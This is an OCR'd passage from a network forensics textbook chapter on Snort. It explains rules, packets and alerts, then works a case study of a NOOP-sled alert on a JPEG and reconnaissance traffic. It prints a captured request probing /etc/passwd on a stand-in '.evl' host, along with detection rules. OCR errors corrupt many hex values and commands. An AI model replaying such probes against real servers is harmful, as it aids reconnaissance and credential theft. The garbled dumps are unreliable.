04/13-03:12:08.359790 10.0.1.10 -> 10.0.1.254
ICMP TTL:64 TO0S:0x0 ID:38125 IpLen:20 DgmLen:84
Type:8 Code:0 ID:32335 Seq:1 ECHO

This is the resulting alert. The first line of all Snort alerts, as presented in the native
text-based output, contains four items. The first and last are reputed to be ASCII-art
representations of the Snort pig’s snout. Between them is a square-bracketed, colon-
delimited set of three numbers.

The first of these three numbers is the “generator ID” (GID), which specifies the
part of the Snort architecture that produced the alert. In this case, the GID is “1,”
which denotes the Snort rule engine. Keep in mind that all of the preprocessors can
generate alerts as well. Each has its own GID. The second number is the SID, and the
third number is the revision, both exactly what we’d expect to see: SID 384 Rev 5.
The remainder of the first line is the message option, which also matches what we’d
expect to see based on the rule itself.
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The remaining information in the alert paragraph above should be fairly straight-
forward to interpret. In the second line, we see the classtype and priority, and in the
third line, we see the date and time stamp, followed by the source and destination IP
address. On the fourth line, we see more Layer 3 header data, including encapsulated
protocol (ICMP), time-to-live value, type-of-service (TOS) field value (presented in
hexadecimal, as the TOS byte is really a series of smaller fields that must be inter-
preted in binary), the IP identification value (in decimal), and the IP header and total
datagram lengths (also in decimal). Finally, on the last line we see the higher-layer
(encapsulated) protocol information, which in this case is the ICMP type and code,
along with the ICMP identification and sequence values.

Snort Rule #2

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC /
etc/passwd"; flow:to_server ,established; content:"/etc/passwd";
nocase; classtype:attempted-recon; sid:1122; rev:5;)

Let’s look at a rule with a few more options. The rule header should be no more diffi-
cult; without looking in the Snort config, we can’t know what the SEXTERNAL_NET,
$HTTP_SERVERS, and $SHTTP_PORTS variables are specifically defined to be, but
we can certainly understand the intent. Looking at the rule body, we see that a match
can only occur on a properly stateful TCP segment sent in the simplex channel from
the client to the server as part of an established connection. If and only if that first
condition is met, Snort will next evaluate whether the string “/etc/passwd” is found
within the packet payload, regardless of it being uppercase, lowercase, or a mix of ei-
ther. We also see a classtype assignment, and of course the SID and revision numbers.

Snort Packet #2

05:11:46.015420 IP 192.168.1.50.38097 > 172.16.16.217.80: P
2098193630:2098193743(113) ack 1055208924 win 1460 <nop,nop,timestamp
109823750 109820452>

0x0000: 4500 00ab 23dd 4000 4006 97b2 cOa8 0132 E...#.Q@.Q. ..... 2
0x0010: acl0 10d9 94d1 0050 7d0f ed4de 3eeb5 35dc N P}...>.5.
0x0020: 8018 05b4 8803 0000 0101 080a 068b c706 P
0x0030: 068b ba24 4745 5420 2f65 7463 2f70 6173 ...$GET./etc/pas

0x0040: 7377 6420 4854 5450 2f31 2e30 0dOa 5573 swd.HTTP/1.0..Us
0x0050: 6572 2d41 6765 6e74 3a20 5767 6574 2f31 er-Agent:.VWget/1
0x0060: 2e31 302e 320d 0Oa41l 6363 6570 743a 202a .10.2..Accept:.x*
0x0070: 2f2a 0dOa 486f 7374 3a20 7777 772e 736b /*..Host:.www.sk
0x0080: 6574 6368 792e 6576 6c0d 0a43 6f6e 6e65 etchy.evl..Conne
0x0090: 6374 696f 6e3a 204b 6565 702d 416c 6976 ction:.Keep-Aliv
0x00a0: 650d 0al0d Oa e....

The output above represents a single packet. If the source, destination, protocol,
and directionality match the rule’s header, the packet will be compared against the
rule body. If we assume that the packet contains a segment in an established TCP
stream, and it was sent from a client to a server, then the packet contents will be in-
spected for the string “/etc/passwd.” (The etc/passwd file on Linux and UNIX systems
contains sensitive account information that is useful to attackers.) If the inspected
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packet matches this rule, then the system will log an alert with the message “WEB-
MISC /etc/passwd.” Inspecting the payload, we do in fact see the string “/etc/passwd”
in the payload beginning at byte offset 56 (0x0038), as part of a GET request.

e Snort Alert #2

[*x] [1:1122:5] WEB-MISC /etc/passwd [*x*]

[Classification: Attempted Information Leak] [Priority: 2]
04/06-05:11:46.015420 192.168.1.50:38097 -> 172.16.16.217:80

TCP TTL:64 TO0S:0x0 ID:9181 IpLen:20 DgmLen:165 DF

**x AP*** Seq: Ox7DOFE4DE Ack: Ox3EE535DC Win: Ox5B4 Tcplen: 32
TCP Options (3) => NOP NOP TS: 109823750 109820452

Finally, we see the alert that results. The basic structure of the information in the
first three lines of the art has not changed. We can identify the rule that caused the
alert by its SID and Revision numbers (1122 and 5, respectively), and see the name of
the alert clearly. Its classtype and priority follow, as does the timestamp and socket
data, after which we see the Layer 3 information presented as before. Again we see
the Layer 4 protocol data—this time TCP protocol values.

7.8 Conclusion

NIDS/NIPS are specifically designed to sift through large amounts of network traffic and
pick out specific events of interest, particularly those that relate to security. As a result, they
are often the first place investigators turn for information on a case. In fact, NIDS/NIPS
alerts are often the triggers that cause the investigation to be launched. Investigators can
leverage evidence gathered from NIPS/NIDS to find the needle in the haystack.

In this chapter, we reviewed typical NIDS/NIPS functionality, including sniffing and
higher-layer protocol analysis. We discussed modes of detection, different types of
NIDS/NIPS, and the various types of evidence that can be recovered from them. We ex-
amined Snort, a popular open-source NIDS/NIPS, and concluded with examples of Snort
rules, captured packets, and alerts.
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7.9 Case Study: InterOptic Saves the Planet (Part 1 of 2)

The Case: In his quest to save the planet, InterOptic has started a credit card number
recycling program. ‘““Do you have a database filled with credit card numbers, just sitting
there collecting dust? Put that data to good use!”’ he writes on his web site. “‘Recycle your
company’s used credit card numbers! Send us your database, and we’ll send YOU a check.”
For good measure, InterOptic decides to add some bells and whistles to the site, too ...

Meanwhile ... MacDaddy Payment Processor has deployed Snort NIDS sensors to detect
an array of anomalous events, both inbound and outbound. An alert was logged at 08:01:45
on 5/18/11 concerning an inbound chunk of executable code sent to port 80/tcp for inside
host 192.168.1.169 from external host 172.16.16.218. Here is the alert:

[**] [1:10000648:2] SHELLCODE x86 NOOP [*x*]

[Classification: Executable code was detected] [Priority: 1]
05/18-08:01:45.591840 172.16.16.218:80 -> 192.168.1.169:2493

TCP TTL:63 TO0S:0x0 ID:53309 IpLen:20 DgmLen:1127 DF
**x AP*** Seq: O0x1B2C3517 Ack: O0x9F9E0666 Win: 0x1920 TcpLen: 20

Challenge: You are the investigator ...
e First, determine whether the alert is true or false:
— Examine the alert’s data to understand the logistical context.

— Compare the alert to the rule, in order to better understand what it has been
built to detect.

— Retrieve the packet that triggered the alert.
— Compare the rule to the packet to understand why it fired.

e Subsequently, you'll want to determine if there are any other activities that are related
to the original event.

— Construct a timeline of alerted activities involving the potentially malicious out-
side host.

— Construct a timeline of alerted activities involving the target.

Network: The MacDaddy Payment Processor network consists of three segments:

e Internal network: 192.168.1.0/24
e DMZ: 10.1.1.0/24

e The “Internet”: 172.16.0.0/12 [Note that for the purposes of this case study, we are
treating the 172.16.0.0/12 subnet as “the Internet.” In real life, this is a reserved
nonroutable IP address space.]
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Other domains and subnets of interest include:

e .evl—a top-level domain (TLD) used by Evil systems.

e example.com—MacDaddy Payment Processor local domain. [Note that for the pur-
poses of this case study, we are treating “example.com” as a legitimate second-level
domain. In real life, this is a reserved domain typically used for examples, as per RFC
2606.]

Evidence: Security staff at MacDaddy Payment Processor collects the Snort alerts for the
day in question and preserves the “tcpdump.log” file that corresponds with the alerts. At
your request, they also gather the relevant Snort sensor’s config and rules. You are provided
with the following files containing data to analyze:

e alert—A text file containing the Snort sensor’s default “alert” output, including the
alert of interest above.

e tcpdump.log—A libpcap-generated file that contains full-content packet captures of
the packets involved in the events summarized in the above “alert” file.

e snort.conf—A text file containing the configuration description of the Snort sensor,
including the rules.

e rules—A folder containing the Snort rules that were in use by the sensor, as included
by the configuration above (/etc/snort/rules).

The NIDS was configured to use MST (Mountain Standard Time).

7.9.1 Analysis: Snort Alert

Using the Snort alert file provided, let’s examine any instances of the “SHELLCODE x86
NOOP?” alert:

$ grep -A 4 'x86 NOOP' alert

[*+x] [1:10000648:2] SHELLCODE x86 NOOP [x*x*]

[Classification: Executable code was detected] [Priority: 1]
05/18-08:01:45.591840 172.16.16.218:80 -> 192.168.1.169:2493

TCP TTL:63 TO0S:0x0 ID:53309 IpLen:20 DgmLen:1127 DF

**x AP*** Seq: O0x1B2C3517 Ack: O0x9F9E0666 Win: 0x1920 TcpLen: 20

This is the alert that security staff initially provided us and, based on the output of
“grep,” it appears that there are no other alerts of this type in the packet capture.

From this alert, we can see that a remote server, 172.16.16.218:80, sent traffic to the local
system 192.168.1.169:2493. “Executable code” was detected in this traffic. The payload of
the IP packet appears to be a TCP packet. According to IANA, port 80/TCP is assigned
to “World Wide Web HTTP.”'? Although this is not a guarantee that the traffic is HT'TP,
it is a strong clue.

13. “Port Numbers,” July 11, 2011, http://www.iana.org/assignments/port-numbers.
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7.9.2 Initial Packet Analysis

Let’s pull the corresponding packet out of the associated capture so that we can examine
it more thoroughly. Using tcpdump and the BPF language we can filter on the IP ID field
using the value shown in the alert (“53309”):

$ tcpdump -nnvr tcpdump.log 'ipl[4:2] = 53309

reading from file tcpdump.log, link-type EN1OMB (Ethernet)

09:01:45.591840 IP (tos 0x0, ttl 63, id 53309, offset 0, flags [DF], proto
TCP (6), length 1127) 172.16.16.218.80 > 192.168.1.169.2493: P, cksum O
x2deb5 (correct), 455882007:455883094(1087) ack 2677933670 win 6432

This certainly appears to be the packet that caused the alert. In addition to the IP
ID number that matches the alert, further corroboration is provided by the sequence and
acknowledgment numbers. The TCP sequence number shown in the tcpdump output above
(“455882007”) matches the TCP sequence number in the alert (“0x1B2C3517,” which is
“455882007” in decimal). Similarly, the acknowledgment number in the tcpdump output is
“2677933670,” which matches the acknowledgment number in the Snort alert (“0x9F9E0666,”
or “2677933670” in decimal).

Now let’s examine the packet’s contents (in ASCII to begin with):

$ tcpdump -nnAr tcpdump.log 'ipl[4:2] = 53309'

reading from file tcpdump.log, link-type EN1OMB (Ethernet)

09:01:45.591840 IP 172.16.16.218.80 > 192.168.1.169.2493: P
455882007:455883094(1087) ack 2677933670 win 6432

E..g.=@.7. ............ P ..,5....fP.. -...HTTP/1.0 200 0K

Date: Wed, 18 May 2011 15:01:45 GMT

Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntub5.5 with Suhosin-Patch

Last-Modified: Wed, 18 May 2011 00:46:10 GMT

ETag: "1238-27b-4a38236f5d880"

Accept-Ranges: bytes

Content -Length: 635

Content -Type: image/jpeg

X-Cache: MISS from www-proxy.example.com

X-Cache-Lookup: MISS from www-proxy.example.com:3128

Via: 1.0 www-proxy.example.com:3128 (squid/2.6.STABLE18)

Connection: keep-alive

...... Look! A beautiful pwny!................. e e

................... s.......!'.1AQ..a"q..2.....B#.R..3.b.%r..%C4S...cs.5D"'...6.
Tdt &
EF..V.U(C. ....... eu........ fv.... ..., TGWgw . ....... 8HXhx........ )9IYiy
........ *:JZ2jz. ... .. i m. ... U1ALQ 2" g. 2. ... .. . #B.Rbr.3
$4C...8S%.c s.5.D..T

BE. 'dtU7....0) ........... EU . tiii i Wgw........ 8HXhx ........ 9
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The packet payload appears to contain HT'TP headers, which makes sense given that the
source port is 80/TCP (“World Wide Web HTTP”). The server’s HT'TP headers indicate
that the packet contains a 635-byte JPEG image:

Content -Length: 635
Content -Type: image/jpeg

The HTTP headers also indicate that the web page was provided through a Squid web
proxy, “www-proxy.example.com:3128,” as shown below. Based on the “MISS” result listed
in the X-Cache and X-Cache-Lookup headers, the requested page was not already in the
Squid cache when requested.

X-Cache: MISS from www-proxy.example.com
X-Cache-Lookup: MISS from www-proxy.example.com:3128
Via: 1.0 www-proxy.example.com:3128 (squid/2.6.STABLE18)

As shown in the “Etag” HTTP header, the ETag of the delivered content was “1238-
27b-4a382365d880.” This may come in handy for web proxy cache analysis later.
7.9.3 Snort Rule Analysis

Why would this packet trigger the “SHELLCODE x86 NOOP” alert? Let’s find the rule
and see. In the snort.conf file, we can see where the rules in use can be found:

[...]
var RULE_PATH /etc/snort/rules
[...]

We also have a copy of the “rules” directory taken from /etc/snort/rules. Let’s use “grep”
to extract the rule of interest, based on the Snort ID (SID) 10000648:

$ grep -r sid:10000648 rules

rules/local.rules:alert ip $EXTERNAL_NET any -> $HOME_NET any (msg:"SHELLCODE
x86 NOOP"; content:"|90 90 90 90 90 90 90 90 90 90 90 90 90 90|";
classtype:shellcode-detect; sid:10000648; rev:2;)

We find that the matching rule is in the local.rules file, which is typically used for
custom rules added by local staff. The SID, 10000648, also indicates that this is a local rule
(according to the “SNORT Users Manual,” Snort SIDs greater or equal to 1,000,000 are
“Used for local rules”!4).

As you can see above, this is a very simple rule that fires on any inbound IP content that
contains a string of at least 14 contiguous bytes of 0x90, which is a “NOOP” instruction on
the x86 architecture. This is a common feature of a buffer overflow attack attempt.

14. Sourcefire, Inc., “Snort Users Manual 2.9.0,” March 25, 2011, http://www.snort.org/assets/166/
snort_manual.pdf.
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Based on the rule that was triggered, we would expect the corresponding packet to
contain a series of bytes set to 0x90. Let’s view the packet in both hex adecimal and ASCII
to see if we can eyeball the match:

$ tcpdump -nnXr tcpdump.log 'ip[4:2] = 53309

reading from file tcpdump.log, link-type EN1OMB (Ethernet)

09:01:45.591840 IP 172.16.16.218.80 > 192.168.1.169.2493: P

455882007:455883094(1087) ack 2677933670 win 6432

0x0000: 4500 0467 d03d 4000 3f06 e817 acl0 10da E..g.=@.7. ......
0x0010: c0a8 01a9 0050 09bd 1b2c 3517 9f9e 0666 . ....P...,5....f
0x0020: 5018 1920 2deb5 0000 4854 5450 2f31 2e30 P...-...HTTP/1.0
0x0030: 2032 3030 204f 4b0d Oa44 6174 653a 2057 .200.0K..Date:.W
0x0040: 6564 2c20 3138 204d 6179 2032 3031 3120 ed,.18.May.2011.
0x0050: 3135 3a30 313a 3435 2047 4d54 0dOa 5365 15:01:45.GMT..Se
0x0060: 7276 6572 3a20 4170 6163 6865 2f32 2e32 rver:.Apache/2.2
0x0070: 2e38 2028 5562 756e 7475 2920 5048 502f .8.(Ubuntu).PHP/
0x0080: 352e 322e 342d 3275 6275 6e74 7535 2e35 5.2.4-2ubuntub.5
0x0090: 2077 6974 6820 5375 686f 7369 6e2d 5061 .with.Suhosin-Pa
0x00a0: 7463 680d Oad4c 6173 742d 4d6f 6469 6669 tch..Last-Modifi
0x00b0: 6564 3a20 5765 642c 2031 3820 4d61 7920 ed:.Wed,.18.May.
0x00c0O: 3230 3131 2030 303a 3436 3a31 3020 474d 2011.00:46:10.GM
0x00d0: 540d 0Oa45 5461 673a 2022 3132 3338 2d32 T..ETag:."1238-2
0x00e0: 3762 2d34 6133 3832 3336 6635 6438 3830 7b-4a38236f5d880
0x00f0: 220d Oa41 6363 6570 742d 5261 6e67 6573 "..Accept-Ranges
0x0100: 3a20 6279 7465 730d 0a43 6f6e 7465 6e74 :.bytes..Content
0x0110: 2d4c 656e 6774 683a 2036 3335 0d0a 436f -Length:.635..Co
0x0120: 6e74 656e 742d 5479 7065 3a20 696d 6167 ntent-Type:.imag
0x0130: 652f 6a70 6567 0dOa 582d 4361 6368 653a e/jpeg..X-Cache:
0x0140: 204d 4953 5320 6672 6f6d 2077 7777 2d70 .MISS.from.www-p
0x0150: 726f 7879 2e65 7861 6d70 6c65 2e63 6f6d roxy.example.com
0x0160: 0dOa 582d 4361 6368 652d 4c6f 6f6b 7570 ..X-Cache-Lookup
0x0170: 3a20 4d49 5353 2066 726f 6d20 7777 772d :.MISS.from.www-
0x0180: 7072 6f78 792e 6578 616d 706c 652e 636f proxy.example.co
0x0190: 6d3a 3331 3238 0dOa 5669 613a 2031 230 m:3128..Via:.1.0
0x01a0: 2077 7777 2d70 726f 7879 2e65 7861 6d70 .www-proxy.examp
0x01b0: 6c65 2e63 6f6d 3a33 3132 3820 2873 7175 le.com:3128.(squ
0x01cO: 6964 2f32 2e36 2e53 5441 424c 4531 3829 id/2.6.STABLE18)

0x01d0: 0dOa 436f 6e6e 6563 7469 6f6e 3a20 6b65 ..Connection:.ke
0x01e0: 6570 2d61 6c69 7665 0dOa 0dOa ffd8 fffe ep-alive.........
0x01f0: 0019 4c6f 6f6b 2120 4120 6265 6175 7469 ..Look!.A.beauti

0x0200: 6675 6c20 7077 6e79 21ff db0O0 8400 0604 ful.pwny!. ......
0x0210: 0404 0504 0605 0506 0906 0506 090b 0806 P
0x0220: 0608 0ObOc Oala ObOa 0OalOc 100c 0cOc OcOc P
0x0230: 0c10 0cOc 0cOc 0cOc 0cOc 0cOc 0cOc 0cOc P
0x0240: 0cOc 0cOc 0cOc 0cOc 0cOc O0cOc OcOc 0107 P
0x0250: 0707 0dOc 0d18 1010 1814 OeOe 0el4d 140e e
0x0260: OeOe 0el4 110c 0cOc 0cOc 1111 0cOc 0cOc P
0x0270: 0cOc 110c 0cOc 0cOc 0cOc 0cOc 0cOc 0OcOc e
0x0280: 0cOc 0cOc 0cOc 0cOc 0cOc O0cOc 0OcOc Ocff P
0x0290: c000 1408 0005 0005 0401 1100 0211 0103 P
0x02a0: 1101 0411 00ff dd00 0400 O1ff c401 a200 P
0x02b0: 0000 0701 0101 0101 0000 0000 0000 0000 e
0x02c0: 0405 0302 0601 0007 0809 0aOb 0100 0202 RPN
0x02d0: 0301 0101 0101 0000 0000 0000 0001 0002 e
0x02e0: 0304 0506 0708 090a Ob10 0002 0103 0302 FE N
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0x02f0: 0402 0607 0304 0206 0273 0102 0311 0400 .......... S
0x0300: 0521 1231 4151 0613 6122 7181 1432 91al .!.1AQ..a"q..2..
0x0310: 0715 b142 23c1l 52d1 e133 1662 f024 7282 ...B#.R..3.Db.$%r.
0x0320: £f125 4334 5392 a2b2 6373 c235 4427 93a3 .JC4S...cs.5D'..
0x0330: b336 1754 6474 c3d2 e208 2683 090a 1819 .6.Tdt....&. ....
0x0340: 8494 4546 a4b4 56d3 5528 1af2 e3f3 c4d4 ..EF..V.UC(. .....
0x0350: e4fd4 6575 8595 abbb5 c5d5 e5f5 6676 8696 ..eu. ....... fv..
0x0360: a6b6 c6d6 e6f6 3747 5767 7787 97a7 b7c7 . ..... TGWgW .. ...
0x0370: d7e7 £f738 4858 6878 8898 a8b8 c8d8 e8f8 ...8HXhx.........
0x0380: 2939 4959 6979 8999 a9%b9 c9d9 e9f9 2a3a )9IYViy......... *
0x0390: 4aba 6a7a 8a9a aaba cada eafa 1100 0202 JZjz. ............
0x03a0: 0102 0305 0504 0506 0408 0303 6d01 0002 . ............ m...
0x03b0: 1103 0421 1231 4105 5113 6122 0671 8191 ...!.1A.Q.a".q..
0x03c0: 32al b1f0 14cl dilel 2342 1552 6272 f133 2. ...... #B.Rbr.3
0x03d0: 2434 4382 1692 5325 a263 b2c2 0773 d235 $4C...S%.c...s.5
0x03e0: e244 8317 5493 0809 0al8 1926 3645 1a27 .D..T. ..... &6E. '
0x03f0: 6474 5537 f2a3 b3c3 2829 d3e3 £384 94a4 dtU7....(). .....
0x0400: b4c4 d4e4 f465 7585 95ab5 b5c5 9090 9090 ..... eu. ...,
0x0410: 9090 9090 9090 9090 9090 9090 5767 7787 . ............ Wgw.
0x0420: 97a7 b7c7 d7e7 £738 4858 6878 8898 a8b8 . ...... 8HXhx ...
0x0430: c8d8 e8f8 3949 5969 7989 99a9 b9c9 d9e9 ....9IYiy. ......
0x0440: f92a 3a4a ba6a 7a8a 9Y9aaa baca daea faff ki JZjz. o
0x0450: daO0 0e04 0100 0211 0311 0400 003f 00f2 ............... 7.,
0x0460: a62a faa7 3fff d9 kLT

Toward the end of the packet, at byte offset 0x040c (1036), we see 16 consecutive bytes
of value 0x90. This would appear to be part of the binary JPEG file, which begins at offset
0x01lec (492). (Note that 492 + 635 bytes of JPEG data = 1127, the datagram length stated
in both the Snort alert and the tcpdump output.)

Whether that string of 0x90 values is a coincidence (used to describe pixel colors) or
whether it is a malicious NOOP sled may be up to a reverse-engineering malware (REM)
specialist to determine. There are certainly known instances of attacks on JPEG parsing/ren-
dering engines that leverage buffer overflow issues.

7.9.4 Carving a Suspicous File from Snort Capture

Let’s carve out the suspicious JPEG so that we can provide it to a REM specialist. Since
the JPEG appears to be contained in a single packet, we can easily use Wireshark to export
the packet of interest. Figure 1-1 shows the packet of interest in Wireshark. Notice that
we have used the display filter “ip.id == 53309” to quickly pick out the packet of interest.
Wireshark automatically recognizes the JPEG file in the HTTP packet and allows us to
right-click on it and “Export Selected Packet Bytes.” Notice the JPEG “magic number”
(0xFFD8) at the beginning of the highlighted data in the Packet Bytes frame.
Here are the cryptographic checksums of the file we just exported:

$ md5sum tcpdump.log-53309-exported. jpg

13c303f746a0e8826b749fceb6abcl126 tcpdump.log-53309-exported. jpg

$ sha256sum tcpdump.log-53309-exported. jpg

fcb5d6f18c3ed01d2aacd64aaf1b51a539ff95c3eb6b8d2767387a67bc5fe8699 tcpdump.log
-53309-exported. jpg
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Fjlter:lip.id == 53309 w | Expression... | Clear| Apply

Protocol
HTTP

Source Destination

172.16.16.218 192.168.1.169

{JPEG JFIF image)

b Frame 135 (1141 bytes on wire, 1141 bytes captured)
b Ethernet II, Src: Vmware Sh:ee:14 (00:0c:29:Sb:ee:14), Dst: Dell_4d:4f:ae (00:21:70:4d:4f:ae)
b Internet Protocol, Src: 172.16.16.218 (172.16.16.218), Dst: 192.168.1.169 (192.168.1.169)
b Transmission Control Protocel, Src Port: 80 (80), Dst Port: 2493 (2493), Seq: 455882007, Ack: 267
¥ Hypertext Transfer Protocol
P HTTR/1.0 200 OK\r\n
Date: Wed, 18 May 2011 15:01:45 GMT\ryn
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntuS.5 with Suhosin-Patch\r\n
Last-Modified: Wed, 18 May 2011 00:45:10 GMT\r\n
ETag: "1238-27b- 4a38236f5d880" \ r\n
Accept-Ranges: bytes\rin
b Content-Length: 635\ryn
Content-Type: 1mage/jpeg\r\n
X-Cache: MISS from www-proxy.example.com\rin
X-Cache-Lookup: MISS from www-proxy.example.com:3128\r\n
Via: 1.0 www-proxy.example.com:3128 (squid/2.6.STABLELS])\r\n
Connection: keep-alive\r\n
\rin
» JPEG File Interchange Format

Expand Subtrees
o1fo Expand All B
0200 Collapse All
0210
0220 Apply as Filter »
0230 | Prepare aFilter »
0240 % pooco Colorize with Filter >
0250 Oc Oc Oc ¢ Oc Oc 01 ¢ oy, P Follow TCP St
0260 . ccfil. . ... Bl et
0270 (3 ociM. . ... Follow UDP Stream
0280 Oc. . ... Follow S5L Stream
0250 C ff OONE. . ...
0240 g Copy 4
02b0o 5
02co
02do Wiki Protocol Page
0220 Filter Field Reference
o2fo (o 7 D2 . ... Protocol Preferences
el BlOs 07 O 02 06 02 73 01 O 04 oo os 21 M. . ...
0210 b i Decode As...
0320 Disable Protocal...
ggig Resolve MName
e Go to Corresponding Packek

Figure 7-1. The packet of interest in Wireshark. Notice that we have used the display filter
“ip.id == 53309" to quickly pick out the packet of interest. Wireshark automatically recognizes
the JPEG file in the HT TP packet and allows us to right-click on it and “Export Selected Packet
Bytes.”.
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7.9.5 “INFO Web Bug” Alert

We can also look at the subsequent behaviors of the systems in question, based on the evi-
dence sources we already have. For instance, if we think the source of the JPEG
(172.16.16.218) might be a bad actor, then it would make good sense to see if there are
any other NIDS alerts associated with the IP address:

$ grep -A 3 -B 2 '172\.16\.16\.218"' alert

[*+x] [1:10000648:2] SHELLCODE x86 NOOP [*x*]

[Classification: Executable code was detected] [Priority: 1]
05/18-08:01:45.591840 172.16.16.218:80 -> 192.168.1.169:2493

TCP TTL:63 TO0S:0x0 ID:53309 IpLen:20 DgmLen:1127 DF

**x AP*** Seq: O0x1B2C3517 Ack: O0x9F9E0666 Win: 0x1920 TcpLen: 20

That’s the only one. What about the presumed target, 192.168.1.1697 Has it been im-
plicated in any other alerts? Let’s grep out all alerts relating to the target IP address
192.168.1.169, and include the preceding two lines of each alert so that we can then just
filter down to the message/SID line. Then we can get a count of unique instances, and sort
the alert messages from most common to least:

$ grep -B 2 '192\.168\.1\.169' alert | grep '\[\*\*\]' | sort -nr | uniq -c
108 [**] [1:2925:3] INFO web bug 0x0 gif attempt [*x*]
18 [*x] [116:59:1] (snort_decoder): Tcp Window Scale Option found with
length > 14 [*%]
2 [**] [1:100000137:1] COMMUNITY MISC BAD-SSL tcp detect [*x]
1 [**] [1:10000648:2] SHELLCODE x86 NOOP [*x*]

By volume, the most common alert relating to 192.168.1.169 is the “INFO web bug 0x0
gif attempt.” This alert is triggered by an external web server sending an invisible GIF
file to an internal client—a common behavior of web servers trying to track a user as they
navigate the web site. (A “web bug” is an object, such as a tiny image file, which is included
in a web page or email in order to track user behavior.) Let’s see what else we can learn
about these 108 events. First, we use “grep” to extract all instances of the “INFO web bug
0x0 gif attempt” alert (SID 2925, revision 3), and then we filter down to just our host of
interest, 192.168.1.169. This way we can see when the alerts start and stop:

$ grep -A 5 1:2925:3 alert | grep '192\.168\.1\.169"' | wc -1
108

$ grep -A 5 1:2925:3 alert | grep '192\.168\.1\.169' | head -1

05/18-07:45:09.351488 207.46.140.21:80 -> 192.168.1.169:2127

$ grep -A 5 1:2925:3 alert | grep '192\.168\.1\.169' | tail -1

05/18-08:15:08.361442 138.108.28.10:80 -> 192.168.1.169:2649

So we see that they took place over a half hour of web browsing on 05/18 from 07:45:09
to 08:15:08. It might be interesting to get an aggregate count of the various sources of these
web bugs:

$ grep -A 5 1:2925:3 alert | grep '192\.168\.1\.169' | awk '{print $23}' |
sort | uniq -c¢ | sort -mnr
156 205.188.60.65:80
13 72.14.213.102:80
8 208.71.198.133:80
8 204.203.18.154:80
[...1
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$ grep -A 5 1:2925:3 alert | grep '192\.168\.1\.169' | awk '{print $2}' |
sort -u | wc -1
42

It appears that the 108 alerts resulted from traffic from 42 distinct web servers. Looking
up the associated domains and IP address owners, we find that these web servers were owned
by companies including AOL, Google, Monster, and others.

7.9.6 “Tcp Window Scale Option” Alert

Now, let’s turn our attention to the next most common alert relating to 192.168.1.169: “T'cp
Window Scale Option found with length > 14.” This is an alert produced by the Snort
preprocessor that parses TCP options and watches for anomalous values. In the command
below, we extract all instances of the alert by searching for its “GID:SID:Rev,” and then
filter only for matches that related to 192.168.1.169:

$ grep -A 6 116:59:1 alert | grep -A 4 -B 2 '192\.168\.1\.169"'

[*+*] [116:59:1] (snort_decoder): Tcp Window Scale Option found with length >
14 [*%]

[Priority: 3]

05/18-08:04:28.974574 192.168.1.169:36953 -> 192.168.1.10:38288

TCP TTL:40 TO0S:0x0 ID:58145 IpLen:20 DgmLen:60

**xUxP**xF Seq: 0x49B898B0 Ack: O0x9EF411B1 Win: OxFFFF TcpLen: 40 UrgPtr: O
x0

TCP Options (5) => WS: 15 NOP MSS: 265 TS: 4294967295 0 SackOK

[*x] [116:59:1] (snort_decoder): Tcp Window Scale Option found with length >
14 [*x]

[Priority: 3]

05/18-08:04:29.092667 192.168.1.169:36953 -> 192.168.1.2:43687

TCP TTL:56 TO0S:0x0 ID:55927 IpLen:20 DgmLen:60

**xUxP*x*xF Seq: 0x49B898B0 Ack: O0x9EF411B1 Win: OxFFFF TcplLen: 40 UrgPtr: O
x0

TCP Optiomns (5) => WS: 15 NOP MSS: 265 TS: 4294967295 0 SackOK

[*+x] [116:59:1] (snort_decoder): Tcp Window Scale Option found with length >
14 [*x]

[Priority: 3]

05/18-08:04:29.160160 192.168.1.169:36953 -> 192.168.1.10:38288

TCP TTL:46 T0S:0x0 ID:51951 IpLen:20 DgmLen:60

**xUxP*x*xF Seq: 0x49B898B0 Ack: O0x9EF411B1 Win: OxFFFF TcplLen: 40 UrgPtr: O
x0

TCP Optiomns (5) => WS: 15 NOP MSS: 265 TS: 4294967295 0 SackOK

[...]

Looking just at the first few results above, we can see a number of things that are
suspicious about the traffic that caused them, in addition to the size of the window scale
option:

e While the destination host varies, certain other values do not, including the source
port and the setting of the Urg, Push, and Fin flags.

e All of the packets have identical sequence and acknowledgment numbers!
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e Although the sources and destinations are all on the same network, the time to live
(TTL) values are completely inconsistent.

These are clearly crafted packets. Judging from the nonsensical values and flags, they
were likely generated by some sort of reconnaissance tool, probably for the purposes of oper-
ating system fingerprinting. Often, fingerprinting tools send strange packets to their targets
because different operating systems and applications respond in different ways to unex-
pected input. By sending strange packets and evaluating the target’s response, fingerprint-
ing tools can compare the target’s response to known values and determine likely software
versions.

Let’s look more closely at the timing and sockets of the packets that caused these alerts:

$ grep -A 5 116:59:1 alert | grep '192\.168\.1\.169"'

05/18-08:04:28.974574 192.168.1.169:36953 -> 192.168.1.10:38288
05/18-08:04:29.092667 192.168.1.169:36953 -> 192.168.1.2:43687

05/18-08:04:29.160160 192.168.1.169:36953 -> 192.168.1.10:38288
05/18-08:04:29.341094 192.168.1.169:36953 -> 192.168.1.10:38288
05/18-08:04:29.362479 192.168.1.169:36953 -> 192.168.1.30:31935
05/18-08:04:29.529108 192.168.1.169:36953 -> 192.168.1.10:38288
05/18-08:04:29.886795 192.168.1.169:36953 -> 192.168.1.30:31935
05/18-08:04:30.419140 192.168.1.169:36953 -> 192.168.1.30:31935
05/18-08:04:30.948974 192.168.1.169:36953 -> 192.168.1.30:31935
05/18-08:04:33.076313 192.168.1.169:36953 -> 192.168.1.10:40350
05/18-08:04:33.268762 192.168.1.169:36953 -> 192.168.1.10:40350
05/18-08:04:33.525746 192.168.1.169:36953 -> 192.168.1.30:36430
05/18-08:04:33.526513 192.168.1.169:36953 -> 192.168.1.10:40350
05/18-08:04:33.718214 192.168.1.169:36953 -> 192.168.1.10:40350
05/18-08:04:34.057618 192.168.1.169:36953 -> 192.168.1.30:36430
05/18-08:04:34.587735 192.168.1.169:36953 -> 192.168.1.30:36430
05/18-08:04:35.119021 192.168.1.169:36953 -> 192.168.1.30:36430
05/18-08:04:38.805728 192.168.1.169:36891 -> 192.168.1.170:32165

They begin at 08:04:28, target four different hosts on the local segment, and complete
within 10 seconds. The four hosts were:

192.168.1.170
192.168.1.30
192.168.1.10
192.168.1.2

It’s likely that 192.168.1.169 sent crafted packets to these four hosts for the purposes of
reconnaissance.

7.9.7 Timeline

